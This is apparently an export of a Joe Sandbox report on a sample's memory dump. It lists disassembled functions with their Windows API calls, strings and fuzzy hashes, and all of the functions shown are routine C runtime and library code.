API String ID: 3736152602-905460609
Opcode ID: 5d3cf5241f8d9865b8388b7c0c0ce471eae4a2a4a163a2f1bdcf57aa74a223f0
Instruction ID: 89fff8c820487f0cfeb4eda58e494f340034071e990c769d80ee8c330a6a6fcb
Opcode Fuzzy Hash: 5d3cf5241f8d9865b8388b7c0c0ce471eae4a2a4a163a2f1bdcf57aa74a223f0
Instruction Fuzzy Hash: D7F02832600206ABDB14BB74DC4AEBA3BACEB85711F00417AF902E7281EA74AD04D760

Function 0058CADE Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

EnumSystemLocalesW.KERNEL32(0058CDBC,00000001,?,?,-00000050,?,0058D15E,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0058CB28

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 977007d163c9056e7367b669b727deab206386ad061d20814d8188c07e13e67e
Instruction ID: ef58483bf9f42b96cf45ce7c9252ba044fdc44490e448e997c5651f88aed35a1
Opcode Fuzzy Hash: 977007d163c9056e7367b669b727deab206386ad061d20814d8188c07e13e67e
Instruction Fuzzy Hash: 14F022322003085FDB147F34DC86A6A7F91FB80368B05442EFD016B690C6B19C02DB60

Function 00584A45 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0057EF59: EnterCriticalSection.KERNEL32(?,?,00583852,00000000,0059D6B0,0000000C,00583819,?,?,00584A0E,?,?,0058435E,00000001,00000364,?), ref: 0057EF68

EnumSystemLocalesW.KERNEL32(00584A38,00000001,0059D7D0,0000000C,00584E67,00000000), ref: 00584A7D

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 8dabd167dd1c1a2c05496e70124932b03e09886ec23aa90cdff5dd3b22b17cfe
Instruction ID: 8fdf7bedc3f064e31ef195076e89862668d62acc67490638dc335e3b94657644
Opcode Fuzzy Hash: 8dabd167dd1c1a2c05496e70124932b03e09886ec23aa90cdff5dd3b22b17cfe
Instruction Fuzzy Hash: 9BF04F32A40205DFE704EF98E846B9C7BF0FB88721F10815AF815AB2A0D7795904DF44

Function 0058C9F8 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

EnumSystemLocalesW.KERNEL32(0058C951,00000001,?,?,?,0058D1BC,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0058CA2F

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9764399003a7975439f159935d2682175a57895d14220f83456f57161fbcfdd6
Instruction ID: 432ae6ca82136ab002b62b13c6089c4a445da7f55f088afa6d00cbb81c395cf3
Opcode Fuzzy Hash: 9764399003a7975439f159935d2682175a57895d14220f83456f57161fbcfdd6
Instruction Fuzzy Hash: D7F0E53630020A97CB08BF35DC5966A7F94FFC1750B064099EE099B650D671D942DBA0

Function 0057A082 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A08E,00579559), ref: 0057A087

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9077643457549e3d5fa316d726a85667c318e27dc3cb6135fe8151cf51c582d8
Instruction ID: c4267fbdbe12528f2ea75716de701c427509014516f0f698ea4c36d596fa948b
Opcode Fuzzy Hash: 9077643457549e3d5fa316d726a85667c318e27dc3cb6135fe8151cf51c582d8
Instruction Fuzzy Hash:

Function 0058D31C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0058D31C

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 91b380da493c2c7325deb2d307181b3478a3b66600c3da63b508f9fa0b554c83
Instruction ID: c77e70fc8a3334a5bd4661c203e62b262de2c28f1fdb9c5884971d2f4425b427
Opcode Fuzzy Hash: 91b380da493c2c7325deb2d307181b3478a3b66600c3da63b508f9fa0b554c83
Instruction Fuzzy Hash: DDA01130A02202CBE3008F30AB083083AA8BAA0282303802AA020C2030EA288020AA08

Function 0058C207 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 9dc33efd7eea0eeed03c62af1747270d964fcf677ffbae0da450b1424dd05aed
Instruction ID: d496daab6be1be5e0c0252810be6b9b41183ea2cedcad6343ed0fc7ac5d708bd
Opcode Fuzzy Hash: 9dc33efd7eea0eeed03c62af1747270d964fcf677ffbae0da450b1424dd05aed
Instruction Fuzzy Hash: E1B12A355007029BDB34BB24CC96AB77FA8FF84308F14896DED83E6590EA75E981C720

Function 005851C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be818cf205956922cb42e2948fb7e1fdd6f2e0da355ec83d9b6a1afa0c5ae1d
Instruction ID: 73bb891b83a5a496469fed5aae2a3dc4a926d3e41340819fda3f5d137b720a11
Opcode Fuzzy Hash: 3be818cf205956922cb42e2948fb7e1fdd6f2e0da355ec83d9b6a1afa0c5ae1d
Instruction Fuzzy Hash: 9AE04632A11228EBCB15EB888908A8AF6BCFB88B00B1100A6B941E3210D270DF00CBD0

Function 00581F18 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65d7671a8dc77b38090010dfc7dabd85b93f02db96d547d94187d4f512e97d2c
Instruction ID: 0a64981f98728d784a2fb0a9b559bf115498c246cb69d7abd65f5a9e8c3e499f
Opcode Fuzzy Hash: 65d7671a8dc77b38090010dfc7dabd85b93f02db96d547d94187d4f512e97d2c
Instruction Fuzzy Hash: C4C08C34112E8047CE29B9108275BA43759F3D278AFC4058CDE42DBA82C61E9C83D720

Function 00572090 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005720A5
std::_Lockit::_Lockit.LIBCPMT ref: 005720BF
std::_Lockit::~_Lockit.LIBCPMT ref: 005720E0
std::_Lockit::~_Lockit.LIBCPMT ref: 00572138
std::_Lockit::_Lockit.LIBCPMT ref: 0057217D
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 005721CE
__Getctype.LIBCPMT ref: 005721E5
std::_Facet_Register.LIBCPMT ref: 0057220F
std::_Lockit::~_Lockit.LIBCPMT ref: 00572228

Strings

bad locale name, xrefs: 00572237
t3Y, xrefs: 00572172

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name$t3Y
API String ID: 2236780835-2141867276
Opcode ID: 30e8222193b0b8847d7424434f38342ef183854f8a67aba82b5c44e9708f7d07
Instruction ID: 57c817d62af11baa0208a574401fd5764df84d7689c2ea72841e80d8aaf87035
Opcode Fuzzy Hash: 30e8222193b0b8847d7424434f38342ef183854f8a67aba82b5c44e9708f7d07
Instruction Fuzzy Hash: BA41BE71A043418FD321DF28E884B5ABFE0BFD4710F55891CE88D9B252DB35EA46DB92

Function 00579407 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0057940D
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0057941B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0057942C
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0057943D

Strings

GetCurrentPackageId, xrefs: 00579415
GetTempPath2W, xrefs: 00579432
GetSystemTimePreciseAsFileTime, xrefs: 00579421
kernel32.dll, xrefs: 00579408

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 0fcfa6fbc9fa756cb5f64e867b8e21ef06b522d952a2c99505a9a674b0f4c511
Instruction ID: 502db99e87048c71e799a55fa604c16453c291f26a726674b406ee901d2eb79c
Opcode Fuzzy Hash: 0fcfa6fbc9fa756cb5f64e867b8e21ef06b522d952a2c99505a9a674b0f4c511
Instruction Fuzzy Hash: 50E0B671951210FBDB109FB4BC0EC963EE4FA297123038412B509D2260E6B84F499FA5

Function 0057CDA8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 0057CEC7
___TypeMatch.LIBVCRUNTIME ref: 0057CFD5
_UnwindNestedFrames.LIBCMT ref: 0057D127
CallUnexpected.LIBVCRUNTIME ref: 0057D142

Strings

csm, xrefs: 0057CE52
csm, xrefs: 0057CEFE
csm, xrefs: 0057CDE5

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 601b2ed11795982534b7826b9e137189bf034cc14244d5ad3eb38189b70d23fa
Instruction ID: 1763318170aa1b7a0f15e35b9930098c4e95480ef4f0e2ba97b4ae451d72e157
Opcode Fuzzy Hash: 601b2ed11795982534b7826b9e137189bf034cc14244d5ad3eb38189b70d23fa
Instruction Fuzzy Hash: 84B1817580021ADFCF25DFA4E8499AEBFB5FF84310F14C55AE8096B202D731DA51EBA1

Function 0058830B Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00588584

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 3077b9aaabd3e0c8bcc04631a3f87a04c0649cdf1d063d146557308da2be96bb
Instruction ID: f1f47fc4a32809761cc02e79de522d62bd0d54f7cee0a5942c7d1f0a3795ee4f
Opcode Fuzzy Hash: 3077b9aaabd3e0c8bcc04631a3f87a04c0649cdf1d063d146557308da2be96bb
Instruction Fuzzy Hash: 8DB1CE70A0024AAFEB15EF99C885BBDBFB1FF95304F548198ED00BB291DB709905CB61

Function 0058FAD9 Relevance: 12.2, APIs: 8, Instructions: 248
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(00BB5F30,00BB5F30,?,7FFFFFFF,?,0058FDA9,00BB5F30,00BB5F30,?,00BB5F30,?,?,?,?,00BB5F30,?), ref: 0058FB7F
__alloca_probe_16.LIBCMT ref: 0058FC3A
__alloca_probe_16.LIBCMT ref: 0058FCC9
__freea.LIBCMT ref: 0058FD14
__freea.LIBCMT ref: 0058FD1A
__freea.LIBCMT ref: 0058FD50
__freea.LIBCMT ref: 0058FD56
__freea.LIBCMT ref: 0058FD66

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 58e794879c4ce3e1870d188140fd7c0433d65e7630d1076ee369a91404985164
Instruction ID: 44d8f200ed63a484f6109e5fbbc9bd8d9ba5eb932244c2f8f1eb94a380b0bff8
Opcode Fuzzy Hash: 58e794879c4ce3e1870d188140fd7c0433d65e7630d1076ee369a91404985164
Instruction Fuzzy Hash: E171D37290520A6BDF20BE94DC95BAE7FA9FF8D310F284069ED04B7281D6359D0187A0

Function 005790DD Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00579126
__alloca_probe_16.LIBCMT ref: 00579152
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00579191
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005791AE
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 005791ED
__alloca_probe_16.LIBCMT ref: 0057920A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0057924C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0057926F

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: b25fe3ce4ab7a266de53ed2501cb7b30c2109778ac4fdf07c086808cd086846c
Instruction ID: 14a2df68720a654e5e1bb8aa974d73faaf3df0757133cf29966873319f424915
Opcode Fuzzy Hash: b25fe3ce4ab7a266de53ed2501cb7b30c2109778ac4fdf07c086808cd086846c
Instruction Fuzzy Hash: BC51AE76900206BFDF20AF60EC49FAA7FA9FB84750F218529F909E6191D7358D10EB70

Function 00584C0E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,31F253B6,?,00584D1B,?,?,?,00000000), ref: 00584CCF

Strings

ext-ms-, xrefs: 00584C79
api-ms-, xrefs: 00584C65

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 8acf21075ca97c0a512279673231f1dfdda53cca3b7637e12253191863304b66
Instruction ID: bbfd75f9b62b45405ef6b1b29b82956e19d7700856ecda31a4a715c59447ddcf
Opcode Fuzzy Hash: 8acf21075ca97c0a512279673231f1dfdda53cca3b7637e12253191863304b66
Instruction Fuzzy Hash: E621D531A02213FBDB31AB64DC49A5A7F6CBB51B60F250525ED06B7290D735EE04CBD0

Function 00577C3F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00577C46
std::_Lockit::_Lockit.LIBCPMT ref: 00577C50

Part of subcall function 005733F0: std::_Lockit::_Lockit.LIBCPMT ref: 005733FF
Part of subcall function 005733F0: std::_Lockit::~_Lockit.LIBCPMT ref: 0057341A

codecvt.LIBCPMT ref: 00577C8A
std::_Facet_Register.LIBCPMT ref: 00577CA1
std::_Lockit::~_Lockit.LIBCPMT ref: 00577CC1

Strings

kW, xrefs: 00577CAE

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID: kW
API String ID: 712880209-2537022119
Opcode ID: 6b08f569f288ddf7d492f88115256c86223b956444337cddf795e4fa5cc6c87f
Instruction ID: 768ec51916f06004e4f54402411b61295aaee7fc0b1c5ecbd7790bcfb57a67c0
Opcode Fuzzy Hash: 6b08f569f288ddf7d492f88115256c86223b956444337cddf795e4fa5cc6c87f
Instruction Fuzzy Hash: FA11E77190461A9FCB11EF68F80A6AEBFB8BF88310F54891DF40997351DB709E00EB91

Function 0057753D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00577544
std::_Lockit::_Lockit.LIBCPMT ref: 0057754F
std::_Lockit::~_Lockit.LIBCPMT ref: 005775BD

Part of subcall function 005776A0: std::locale::_Locimp::_Locimp.LIBCPMT ref: 005776B8

std::locale::_Setgloballocale.LIBCPMT ref: 0057756A
_Yarn.LIBCPMT ref: 00577580

Strings

kW, xrefs: 0057758C, 005775B0

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: kW
API String ID: 1088826258-2537022119
Opcode ID: efe5f0b64944711cf5a6c10f3e1478703d5787799a23e6e7de74a5b2d0c22bdc
Instruction ID: db5e3404f77f9b882aee93ad791731ef7d8c0dfbe487e4c34d6e25aa1a01c2c7
Opcode Fuzzy Hash: efe5f0b64944711cf5a6c10f3e1478703d5787799a23e6e7de74a5b2d0c22bdc
Instruction Fuzzy Hash: 7D019E71A005169BDB06EF30F85997C7F62BBC4340B198009E80657391CF346F42EBD5

Function 00581F3A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,31F253B6,?,?,00000000,005910A9,000000FF,?,00581ECA,?,?,00581E9E,00000016), ref: 00581F6F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00581F81
FreeLibrary.KERNEL32(00000000,?,00000000,005910A9,000000FF,?,00581ECA,?,?,00581E9E,00000016), ref: 00581FA3

Strings

mscoree.dll, xrefs: 00581F68
kW, xrefs: 00581F92
CorExitProcess, xrefs: 00581F79

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$kW
API String ID: 4061214504-3800587581
Opcode ID: 0c0acdffbb7fcd4524df5644756d15a9584914b4f9a5335b2a26ead483589b34
Instruction ID: 83d3a25511ddec443b38b855c678eecaab5017905a62bf990ebd8978033626b6
Opcode Fuzzy Hash: 0c0acdffbb7fcd4524df5644756d15a9584914b4f9a5335b2a26ead483589b34
Instruction Fuzzy Hash: A501A231A48A59FFDB119B50CC09BAEBFBCFB04B15F044126E912A2290EB759D04CB90

Function 0057CA3A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0057CA31,0057B003,00576E40,31F253B6,?,?,?,00000000,00590E82,000000FF,?,005757DE,?,?), ref: 0057CA48
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0057CA56
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0057CA6F
